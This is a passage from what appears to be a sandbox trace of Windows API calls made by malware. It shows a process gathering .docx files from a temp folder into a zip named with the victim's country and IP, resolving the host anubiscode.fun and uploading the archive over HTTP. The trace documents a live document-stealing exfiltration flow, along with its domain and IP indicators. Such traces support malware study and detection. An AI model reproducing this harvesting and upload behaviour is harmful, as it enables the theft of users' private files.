lpOverlapped=0x0) returned 1 [0211.996] WriteFile (in: hFile=0x740, lpBuffer=0x32d6260*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x32d6260*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0211.997] WriteFile (in: hFile=0x740, lpBuffer=0x32d6260*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x32d6260*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0212.001] WriteFile (in: hFile=0x740, lpBuffer=0x32d6260*, nNumberOfBytesToWrite=0x165e, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x32d6260*, lpNumberOfBytesWritten=0x12fee50*=0x165e, lpOverlapped=0x0) returned 1 [0212.003] SetFilePointer (in: hFile=0x740, lDistanceToMove=304229, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x4a465 [0212.004] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee84*=0xc, lpOverlapped=0x0) returned 1 [0212.004] SetFilePointer (in: hFile=0x740, lDistanceToMove=367343, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x59aef [0212.004] CloseHandle (hObject=0x750) returned 1 [0212.004] FindNextFileW (in: hFindFile=0x13fa470, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd0b065, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x748e4b30, ftLastWriteTime.dwHighDateTime=0x1d5e41b, nFileSizeHigh=0x0, nFileSizeLow=0x157fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gwq5EHvw1.docx", cAlternateFileName="GWQ5EH~1.DOC")) returned 1 [0212.004] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\Gwq5EHvw1.docx", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\Gwq5EHvw1.docx", lpFilePart=0x0) returned 0x43 [0212.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0212.004] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\Gwq5EHvw1.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\gwq5ehvw1.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0212.005] GetFileType (hFile=0x750) returned 0x1 [0212.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0212.005] GetFileType (hFile=0x750) returned 0x1 [0212.005] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\Gwq5EHvw1.docx", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\Gwq5EHvw1.docx", lpFilePart=0x0) returned 0x43 [0212.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0212.005] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\Gwq5EHvw1.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\gwq5ehvw1.docx"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd0b065, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x748e4b30, ftLastWriteTime.dwHighDateTime=0x1d5e41b, nFileSizeHigh=0x0, nFileSizeLow=0x157fb)) returned 1 [0212.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0212.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x010\x1e/\x03", lpUsedDefaultChar=0x0) returned 5 [0212.007] ReadFile (in: hFile=0x750, lpBuffer=0x32f4000, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x32f4000*, lpNumberOfBytesRead=0x12feedc*=0x14000, lpOverlapped=0x0) returned 1 [0212.011] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee44*=0x1000, lpOverlapped=0x0) returned 1 [0212.011] WriteFile (in: hFile=0x740, lpBuffer=0x32f2efe*, nNumberOfBytesToWrite=0x1032, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32f2efe*, lpNumberOfBytesWritten=0x12fee44*=0x1032, lpOverlapped=0x0) returned 1 [0212.012] WriteFile (in: hFile=0x740, lpBuffer=0x32f1f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32f1f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0212.066] WriteFile (in: hFile=0x740, lpBuffer=0x32f1f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32f1f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0212.066] WriteFile (in: hFile=0x740, lpBuffer=0x32f1f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32f1f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0212.067] WriteFile (in: hFile=0x740, lpBuffer=0x32f1f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32f1f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0212.068] WriteFile (in: hFile=0x740, lpBuffer=0x32f1f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32f1f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0212.069] WriteFile (in: hFile=0x740, lpBuffer=0x32f1f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32f1f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0212.069] ReadFile (in: hFile=0x750, lpBuffer=0x32f4000, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x32f4000*, lpNumberOfBytesRead=0x12feedc*=0x17fb, lpOverlapped=0x0) returned 1 [0212.069] WriteFile (in: hFile=0x740, lpBuffer=0x32f1f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32f1f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0212.070] WriteFile (in: hFile=0x740, lpBuffer=0x32f1f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x32f1f30*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0212.070] ReadFile (in: hFile=0x750, lpBuffer=0x32f4000, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x32f4000*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0212.070] WriteFile (in: hFile=0x740, lpBuffer=0x32f1f30*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x32f1f30*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0212.071] WriteFile (in: hFile=0x740, lpBuffer=0x32f1f30*, nNumberOfBytesToWrite=0x1819, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x32f1f30*, lpNumberOfBytesWritten=0x12fee50*=0x1819, lpOverlapped=0x0) returned 1 [0212.073] SetFilePointer (in: hFile=0x740, lDistanceToMove=367357, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x59afd [0212.073] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee84*=0xc, lpOverlapped=0x0) returned 1 [0212.073] SetFilePointer (in: hFile=0x740, lDistanceToMove=455482, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x6f33a [0212.074] CloseHandle (hObject=0x750) returned 1 [0212.074] FindNextFileW (in: hFindFile=0x13fa470, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd0b065, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x6e32bcc0, ftLastWriteTime.dwHighDateTime=0x1d57e50, nFileSizeHigh=0x0, nFileSizeLow=0xedb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="YsuINtJM29u.docx", cAlternateFileName="YSUINT~1.DOC")) returned 1 [0212.074] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\YsuINtJM29u.docx", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\YsuINtJM29u.docx", lpFilePart=0x0) returned 0x45 [0212.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0212.074] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\YsuINtJM29u.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\ysuintjm29u.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0212.074] GetFileType (hFile=0x750) returned 0x1 [0212.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0212.074] GetFileType (hFile=0x750) returned 0x1 [0212.075] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\YsuINtJM29u.docx", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\YsuINtJM29u.docx", lpFilePart=0x0) returned 0x45 [0212.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0212.075] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\YsuINtJM29u.docx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\files\\ysuintjm29u.docx"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd0b065, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x6e32bcc0, ftLastWriteTime.dwHighDateTime=0x1d57e50, nFileSizeHigh=0x0, nFileSizeLow=0xedb5)) returned 1 [0212.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0212.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x01 \x870\x03", lpUsedDefaultChar=0x0) returned 5 [0212.077] ReadFile (in: hFile=0x750, lpBuffer=0x330a970, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x330a970*, lpNumberOfBytesRead=0x12feedc*=0xedb5, lpOverlapped=0x0) returned 1 [0212.080] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee44*=0x1000, lpOverlapped=0x0) returned 1 [0212.080] WriteFile (in: hFile=0x740, lpBuffer=0x330986c*, nNumberOfBytesToWrite=0x1034, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x330986c*, lpNumberOfBytesWritten=0x12fee44*=0x1034, lpOverlapped=0x0) returned 1 [0212.080] ReadFile (in: hFile=0x750, lpBuffer=0x330a970, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x330a970*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0212.080] WriteFile (in: hFile=0x740, lpBuffer=0x33088a0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x33088a0*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0212.081] WriteFile (in: hFile=0x740, lpBuffer=0x33088a0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x33088a0*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0212.082] WriteFile (in: hFile=0x740, lpBuffer=0x33088a0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x33088a0*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0212.082] WriteFile (in: hFile=0x740, lpBuffer=0x33088a0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x33088a0*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0212.083] WriteFile (in: hFile=0x740, lpBuffer=0x33088a0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x33088a0*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0212.083] WriteFile (in: hFile=0x740, lpBuffer=0x33088a0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x33088a0*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0212.086] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0xdc9, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee84*=0xdc9, lpOverlapped=0x0) returned 1 [0212.086] SetFilePointer (in: hFile=0x740, lDistanceToMove=455496, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x6f348 [0212.086] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee84*=0xc, lpOverlapped=0x0) returned 1 [0212.086] SetFilePointer (in: hFile=0x740, lDistanceToMove=516407, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x7e137 [0212.086] CloseHandle (hObject=0x750) returned 1 [0212.086] FindNextFileW (in: hFindFile=0x13fa470, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.087] FindClose (in: hFindFile=0x13fa470 | out: hFindFile=0x13fa470) returned 1 [0212.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0212.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0212.102] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0x47e, lpNumberOfBytesWritten=0x12fef1c, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fef1c*=0x47e, lpOverlapped=0x0) returned 1 [0212.103] CloseHandle (hObject=0x740) returned 1 [0212.114] CoTaskMemAlloc (cb=0x20c) returned 0x13f46c8 [0212.114] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x13f46c8 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0212.114] CoTaskMemFree (pv=0x13f46c8) [0212.114] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x12feac0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0212.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Germany_94.114.3.195_33D770D006BC47C58714222CDAC43A71.zip", nBufferLength=0x105, lpBuffer=0x12fea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Germany_94.114.3.195_33D770D006BC47C58714222CDAC43A71.zip", lpFilePart=0x0) returned 0x5c [0212.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Germany_94.114.3.195_33D770D006BC47C58714222CDAC43A71.zip", nBufferLength=0x105, lpBuffer=0x12fe948, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Germany_94.114.3.195_33D770D006BC47C58714222CDAC43A71.zip", lpFilePart=0x0) returned 0x5c [0212.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee8c) returned 1 [0212.117] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Germany_94.114.3.195_33D770D006BC47C58714222CDAC43A71.zip" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\germany_94.114.3.195_33d770d006bc47c58714222cdac43a71.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x740 [0212.118] GetFileType (hFile=0x740) returned 0x1 [0212.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fee88) returned 1 [0212.118] GetFileType (hFile=0x740) returned 0x1 [0212.119] GetFileSize (in: hFile=0x740, lpFileSizeHigh=0x12fef6c | out: lpFileSizeHigh=0x12fef6c*=0x0) returned 0x7e5b5 [0212.119] GetFileSize (in: hFile=0x740, lpFileSizeHigh=0x12fef6c | out: lpFileSizeHigh=0x12fef6c*=0x0) returned 0x7e5b5 [0212.119] QueryPerformanceCounter (in: lpPerformanceCount=0x12fef64 | out: lpPerformanceCount=0x12fef64*=30922939542) returned 1 [0212.136] SetEvent (hEvent=0x5b4) returned 1 [0212.137] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x744 [0212.137] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x750 [0212.138] GetAddrInfoW (in: pNodeName="anubiscode.fun", pServiceName=0x0, pHints=0x12feca4*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x12fec4c | out: ppResult=0x12fec4c*=0x13f0420*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="anubiscode.fun", ai_addr=0x13f3e40*(sa_family=2, sin_port=0x0, sin_addr="37.140.192.224"), ai_next=0x0)) returned 0 [0212.150] FreeAddrInfoW (pAddrInfo=0x13f0420*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="anubiscode.fun", ai_addr=0x13f3e40*(sa_family=2, sin_port=0x0, sin_addr="37.140.192.224"), ai_next=0x0)) [0212.150] WSAConnect (in: s=0x744, name=0x3336398*(sa_family=2, sin_port=0x50, sin_addr="37.140.192.224"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0212.239] closesocket (s=0x750) returned 0 [0212.241] send (s=0x744, buf=0x31d7fa0*, len=312, flags=0) returned 312 [0212.242] select (in: nfds=0, readfds=0x333771c, writefds=0x0, exceptfds=0x0, timeout=0x12fecd0*(tv_sec=0, tv_usec=350000) | out: readfds=0x333771c, writefds=0x0, exceptfds=0x0) returned 1 [0212.304] setsockopt (s=0x744, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0212.304] recv (in: s=0x744, buf=0x31d4ce4, len=4096, flags=0 | out: buf=0x31d4ce4*) returned 25 [0212.308] send (s=0x744, buf=0x3321b4c*, len=197, flags=0) returned 197 [0212.309] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0212.309] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0212.309] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0212.310] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0212.311] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0212.311] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0212.311] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0212.311] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0212.312] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0212.312] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0212.312] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0212.312] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0212.313] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0212.313] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0212.313] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0212.313] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0212.313] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0212.314] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0212.368] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0212.369] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0212.995] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0212.995] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0213.004] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0213.004] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0213.593] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0213.593] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0213.653] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0213.653] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0214.292] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, 